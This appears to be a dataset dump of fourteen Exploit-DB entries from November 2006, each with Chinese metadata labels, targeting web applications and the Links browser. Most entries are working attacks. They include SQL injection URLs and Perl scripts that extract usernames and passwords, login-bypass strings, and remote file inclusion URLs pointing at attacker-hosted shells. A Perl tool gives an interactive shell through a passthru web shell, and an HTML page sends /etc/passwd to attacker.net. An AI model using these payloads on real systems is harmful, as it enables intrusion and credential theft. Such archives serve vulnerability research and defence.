QLWD/code_shield huggingface dataset:
标题: Links 1.00pre12 - 'smbclient' Remote Code Execution EDB-ID: 2784 CVE: 2006-5925 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-11-14 漏洞利用脚本: <!--
Links smbclient command execution
-----------------------------------------------------------------------------
There is a flaw in the Links web browser, that allows malicious web sites to
execute smbclient commands on the victim's machine. This flaw makes it
possible to read any file from the victim system (any file that the user
running links has read access), or to upload any file to the victim system
(any file that the user running links can create/overwrite).  The attacker
could, for example, upload ~/.bashrc to gain shell access.

Version numbers:
-----------------------------------------------------------------------------
I tested this on Ubuntu 6.06 LTS and Links 1.00pre12. Smbclient must also
be installed.

Vulnerable code:
-----------------------------------------------------------------------------
smb_func() in smb.c:
   ...
   143                 if (*share) {
   144                         if (!*dir || dir[strlen(dir) - 1] == '/'
|| dir[strlen(dir) - 1] == '\\') {
   145                                 if (dir) {
   146                                         v[n++] = "-D";
   147                                         v[n++] = dir;
   148                                 }
   149                                 v[n++] = "-c";
   150                                 v[n++] = "ls";
   151                         } else {
   152                                 unsigned char *ss;
   153                                 unsigned char *s = stracpy("get
\"");
'dir' is the directory part of the smb://.. url:
   154                                 add_to_strn(&s, dir);
   155                                 add_to_strn(&s, "\" -");
   156                                 while ((ss = strchr(s, '/')))
*ss = '\\';
   157                                 v[n++] = "-c";
   158                                 v[n++] = s;
   159                         }
   160                 }
   161                 v[n++] = NULL;
smbclient is executed:
   162                 execvp("smbclient", (char **)v);
   163                 fprintf(stderr, "smbclient not found in $PATH");
   164                 _exit(1);
   ...
-->
<html>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '>Put /etc/passwd</a>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>
</html>

# milw0rm.com [2006-11-14] URL: https://www.exploit-db.com/exploits/2784
标题: Aigaion 1.2.1 - 'DIR' Remote File Inclusion EDB-ID: 2777 CVE: 2006-5930 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-14 漏洞利用脚本: Software:Web based bibliography management system
Download link: http://sourceforge.net/projects/aigaion/
script:_basicfunctions.php
author: navairum

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
The script _basicfunctions.php does not specify a value for the $DIR variable before including it.
Vulnerable code:

//if this script is not called from within one of the base pages, redirect to frontpage
require_once($DIR."checkBase.php");

/* This function leads the browser to the given location */

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Exploit:
http://site/[PATH]/_basicfunctions.php?DIR=http://site/uhoh.txt?
http://site/path/pageactionauthor.php?DIR=http://site/uhoh.txt?

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2006-11-14] URL: https://www.exploit-db.com/exploits/2777
标题: NetVIOS 2.0 - 'page.asp' SQL Injection EDB-ID: 2780 CVE: 2007-1566 2006-5954 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: *******************************************************************************
# Title  :  NetVios <= 2.0 [News Application] (page.asp) Remote SQL Injection Vulnerability
# Author :   ajann

*******************************************************************************

###http://[target]/[path]//page.asp?NewsID=[SQL]

Example:

//page.asp?NewsID=-1%20union%20select%200,0,0,logins,password,0,0,0%20from%20users%20where%20userid%20like%201


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-14] URL: https://www.exploit-db.com/exploits/2780
标题: CMSmelborp Beta - 'user_standard.php' Remote File Inclusion EDB-ID: 2766 CVE: 2006-7185 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-12 漏洞利用脚本: #!/usr/bin/perl
##
# Portal Name : CMSmelborp(user_standard.php) Remote File Inclusion Exploit
# Bug Found DeltahackingSecurityTEAM Code :Dr.Trojan&Dr.Pantagon
##
# Download =http://superb-west.dl.sourceforge.net/sourceforge/cmsmelborp/CMSmelborp.zip
#
##
# usage:
# perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable>
#
# perl CMSmelborp.pl http://[target]/[path]/includes http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: Dr.Trojan , Hiv++ , D_7j ,Vpc,Str0ke
#
# Contact:dr.trojan@deltahacking.net
##
# Web Site:www.deltahacking.net(private)&www.deltahacking.ir(Puplic)
# exploit: http://site.com/includes/user_standard.php?relative_root=http://yourshell/shell.txt?&
##

use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/user_standard.php?relative_root='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[.......]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
if($return =~ /(.*)/)

{
       $finreturn = $1;
       $finreturn=~ tr/[.......]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}
else {print "[shell] \$";}}}last;
sub head()
 {
 print "\n============================================================================\r\n";
 print " *We Are 1 in Iran & 4in W0rld We Server:http://takserver.ir Sec=99/99%*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to CMSmelborp ex: http://[target]/[path]/includes \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://d4wood.by.ru/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found DeltahackingSecurityTEAM \r\n";
 print "                             Iranian Are The Best In World \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-11-12] URL: https://www.exploit-db.com/exploits/2766
标题: Property Pro 1.0 - 'vir_Login.asp' Remote Authentication Bypass EDB-ID: 2774 CVE: 2006-6029 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-13 漏洞利用脚本: *******************************************************************************
# Title  :  Property Pro v1.0 (vir_Login.asp) Remote Login ByPass SQL Injection Vulnerability
# Author :   ajann

*******************************************************************************
Example:

###http://[target]/[path]/admin/

UserName: ' union select 0,0 from admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-13] URL: https://www.exploit-db.com/exploits/2774
标题: Estate Agent Manager 1.3 - 'default.asp' Authentication Bypass EDB-ID: 2773 CVE: 2006-5934 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-13 漏洞利用脚本: *******************************************************************************
# Title  :  Estate Agent Manager <= v1.3 (default.asp) Remote Login ByPass SQL Injection Vulnerability
# Author :   ajann

*******************************************************************************
Example:

###http://[target]/[path]/admin/

UserName: ' union select 0,0 from admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-13] URL: https://www.exploit-db.com/exploits/2773
标题: UPublisher 1.0 - 'viewarticle.asp' SQL Injection EDB-ID: 2765 CVE: 2006-5888 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-12 漏洞利用脚本: *******************************************************************************
# Title  :  UPublisher 1.0 (viewarticle.asp) Remote SQL Injection
Vulnerability
# Author :   ajann
# Dork   :   UPublisher
# Vendor: http://www.superfreaker.com/


*******************************************************************************

###http://[target]/[path]//viewarticle.asp?ID=[SQL]

Example:

//viewarticle.asp?ID=-1%20union%20select%200,password,username,0,0,0,0%20from%20tblusers
OR ---
//viewarticle.asp?ID=-1%20union%20select%200,0,username,password,0,0,0,0,0%20from%20tblusers

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-12] URL: https://www.exploit-db.com/exploits/2765
标题: UStore 1.0 - 'detail.asp' SQL Injection EDB-ID: 2763 CVE: 2006-5891 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-12 漏洞利用脚本: *******************************************************************************
# Title  :  UStore 1.0 (detail.asp) Remote SQL Injection Vulnerability
# Author :   ajann
# Vendor: http://www.superfreaker.com/
*******************************************************************************

###http://[target]/[path]//detail.asp?ID=[SQL]

Example:

//detail.asp?ID=-1%20union%20select%200,username,password,0,0,0,0,0,0,0%20from%20tblusers%20where%20id%20like%201

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-12] URL: https://www.exploit-db.com/exploits/2763
标题: USupport 1.0 - 'detail.asp' SQL Injection EDB-ID: 2764 CVE: 2006-5890 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-12 漏洞利用脚本: *******************************************************************************
# Title  :  USupport 1.0 (detail.asp) Remote SQL Injection Vulnerability
# Author :   ajann
# Vendor: http://www.superfreaker.com/
# Dork   :   UPublisher


*******************************************************************************

###http://[target]/[path]//detail.asp?id=[SQL]

Example:

//detail.asp?id=11%20union%20select%200,username,password,0,0,0%20from%20tblusers

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-12] URL: https://www.exploit-db.com/exploits/2764
标题: Phpjobscheduler 3.0 - 'installed_config_file' File Inclusion EDB-ID: 2775 CVE: 2006-5928 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-13 漏洞利用脚本: ======================================================================
# Phpjobscheduler 3.0  - Multiple Remote File Include by Firewall
                     

# Application Affect:
                   phpjobscheduler 3.0

# Source Code:            
                   http://scripts.ringsworld.com/development-tools/phpjobscheduler.v3.0.zip

# Code:
                   include_once($installed_config_file)
       
# ExPloit :
   http://www.site.com/phpjobschedule_PATH/add-modify.php?installed_config_file=[Evil Script]
http://www.site.com/phpjobschedule_PATH/delete.php?installed_config_file=[Evil Script]
http://www.site.com/phpjobschedule_PATH/modify.php?installed_config_file=[Evil Script]
http://www.site.com/phpjobschedule_PATH/phpjobscheduler.php?installed_config_file=[Evil Script]


# Contact:   
                   Firewall1954@hotmail.com

# GrEatZ :

|Her0|slackwaren|Ozzmadark|slappter|ArCaX-ATH|CiberPunk|saok|
|Cvir.System|napster|Matasanos|Zlevyn|Azrael|CyberAlexis|
|NitroNet|Matasanos|SysRoot|_ANtrAX_|FaLENcE|Mnox|Xneo.System|

 "El ceviche y El pisco es peruano y jamas podran igualar su calidad"
                         "Viva el Peru"

======================================================================

# milw0rm.com [2006-11-13] URL: https://www.exploit-db.com/exploits/2775
标题: Munch Pro 1.0 - 'switch.asp' SQL Injection EDB-ID: 2761 CVE: 2006-5880 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-12 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Munch Pro 1.0 (switch.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//    Munch Pro 1.0 (switch.asp) Remote SQL Injection Exploit
[//           Usage: exploit.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "switch.asp?pg=subMenu&catid=";
$target = "-1%20union%20select%200,0,username,0,password,0%20from%20users%20where%20id%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /74%\"><font color=\"#000000\"><strong>(.*?)<\/strong><br>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /17%\" align=\"center\"><Font Color=\"#000000\"><strong>(.*?)<\/strong><\/Font><\/TD>/){ 
print "+ Password: $1\n";
exit();
}

if ($answer =~ /Under Construction, Please check back soon.../) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   
    
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-12] URL: https://www.exploit-db.com/exploits/2761
标题: MyAlbum 3.02 - 'language.inc.php' Remote File Inclusion EDB-ID: 2747 CVE: 2006-5865 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-09 漏洞利用脚本: #==============================================================================================
#MyAlbum <= 3.02 (langs_dir) Remote File Inclusion Vulnerability
#===============================================================================================
#
#Critical Level : hm...i think...
#
#Script Dowload : http://www.comscripts.com/jump.php?action=script&id=1731
#
#Version : 3.XX (maybe others...)
#
#================================================================================================
#
#Bug in :
#
#./language.inc.php
#================================================================================================
#
#Vulnerable Code :
#
#
#         include($langs_dir."/messages.".$lang.".php");
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[MyAlbum_DIR]/language.inc.php?langs_dir=http://evilsite.com/evilscript.txt?
#
#
#================================================================================================
#Discoverd By : Silahsiz Kuvvetler The TURKISH DEVELOPER
#
#Contact : co-type[at]hotmail[dot]com
#
#GreetZ : |FATTALGAZI!| - |MADWORM| - |NARCOTIC| - |MR.TROJAN| - |TILKIANDRE| - |EDORAS| - | XVCX |
#
#AND ALL STARHACK USERZZ...
#
#Special Thanqs : str0ke - 0xyGen
#
#Reklam Kokan Hareket :d ===>>>>>>>>>>>>>>>>>> WWW.STARHACK.ORG <<<<<<<<<<<<<<<<<<=======
#
#==================================================================================================

# milw0rm.com [2006-11-09] URL: https://www.exploit-db.com/exploits/2747
标题: EncapsCMS 0.3.6 - '/core/core.php' Remote File Inclusion EDB-ID: 2750 CVE: 2006-5895 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-10 漏洞利用脚本: ########################### Firewall ###########################
encapscms 0.3.6  - Remote File Include by Firewall
BuG FounD by Firewall

# Application Affect:
encapscms 0.3.6

# Sorce Code:            
http://scripts.ringsworld.com/content-management/encapscms-0.3.6.zip

# Code:
         include_once($root."core/Config.php");
         include_once($root."core/DB_sql.php");
         include_once($root."core/BlogsCats.php");
         include_once($root."core/Block.php");
         include_once($root."core/Block_sub.php");
         include_once($root."core/Gallery.php");
         include_once($root."core/Pager.php");
         include_once($root."core/GalleryCategory.php");
         include_once($root."core/Misc.php");
       
# ExPloit :
http://www.site.com/encapscms_PATH/core/core.php?root=[Evil Script]

#Contact:    Firewall1954@hotmail.com 


# GrEatZ :
|Her0|slackwaren|Ozzmadark|slappter|ArCaX-ATH| |Cvir.System|napster|saok|Zlevyn|Azrael|CyberAlexis| |NitroNet|Matasanos|SysRoot|ANtrAX|FaLENcE|Mnox|Xneo.System|

"El ceviche y El pisco es peruano y jamas podran igualar su calidad" - "Viva el Peru"

########################### Firewall ###########################

# milw0rm.com [2006-11-10] URL: https://www.exploit-db.com/exploits/2750
标题: NuStore 1.0 - 'Products.asp' SQL Injection EDB-ID: 2756 CVE: 2006-5885 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-11 漏洞利用脚本: *******************************************************************************
# Title  :  NuStore 1.0 (Products.asp) Remote SQL Injection Vulnerability
# Author :   ajann

*******************************************************************************

###http://[target]/[path]/Products.asp?CategoryID=-1&SubCatagoryID=[  SQL ]

Example:

//Products.asp?CategoryID=-1&SubCatagoryID=-1%20union%20select%200,0,pass,0%20from%20customers%20where%20no=0
//Products.asp?CategoryID=-1&SubCatagoryID=-1%20union%20select%200,0,pass,0%20from%20customeremail%20where%20no=0

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-11] URL: https://www.exploit-db.com/exploits/2756
标题: NuSchool 1.0 - 'CampusNewsDetails.asp' SQL Injection EDB-ID: 2757 CVE: 2006-5887 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-11 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: NuSchool 1.0 (CampusNewsDetails.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  NuSchool 1.0 (CampusNewsDetails.asp) Remote SQL Injection Exploit
[//           Usage: exploit.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "CampusNewsDetails.asp?NewsID=";
$target = "-1%20union%20select%2000,UserName,Password,0%20from%20students%20where%20StudentID%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<td width=\"21%\"><font size=\"2\" face=\"Arial, Helvetica, sans-serif\">(.*?)<\/font>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /<td colspan=\"2\"><font size=\"2\" face=\"Arial, Helvetica, sans-serif\">(.*?)<\/font>/){ 
print "+ Password: $1\n";
exit();
}

if ($answer =~ /Ad removed or not yet approved/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   
    
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-11] URL: https://www.exploit-db.com/exploits/2757
标题: WORK System E-Commerce 3.0.1 - Remote File Inclusion EDB-ID: 2752 CVE: 2006-6041 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-10 漏洞利用脚本: ============================================================================================

WORK System E-Commerce (g_include) Remote File Inclusion Vulnerability

============================================================================================

Product............: WORK system e-commerce
Affected versions..: worksystem <= 3.0.1
Security Risk......: High
Vendor.............: Laurent Van den Reysen (http://worksystem.sourceforge.net/)
Product Link.......: http://prdownloads.sourceforge.net/worksystem/worksystem_3_0_1.zip?download
Discovered by......: SlimTim10


Details:
---------
Many files (including index.php) use the include() function with a variable that can be
altered remotely.

Vulnerable Code:
-----------------
include ($g_include."<file>.inc");

Vulnerable Files:
------------------
'index.php' (main directory) along with many files in the './administration/module' and
'./module' directories.

Proof of Concept:
------------------
http://[host]/work/index.php?g_include=[shell_script]
http://[host]/work/module/forum/forum.php?g_include=[shell_script]

Solution:
----------
No patch has been provided. The vulnerable files can be manually edited to initialize the
$g_include variable.

============================================================================================

Shoutz: Anonymous bro, Magnetosphere, dw0rek, c4p_sl0ck, str0ke!
SlimTim10 <slimtim10[at]gmail[dot]com>

============================================================================================

# milw0rm.com [2006-11-10] URL: https://www.exploit-db.com/exploits/2752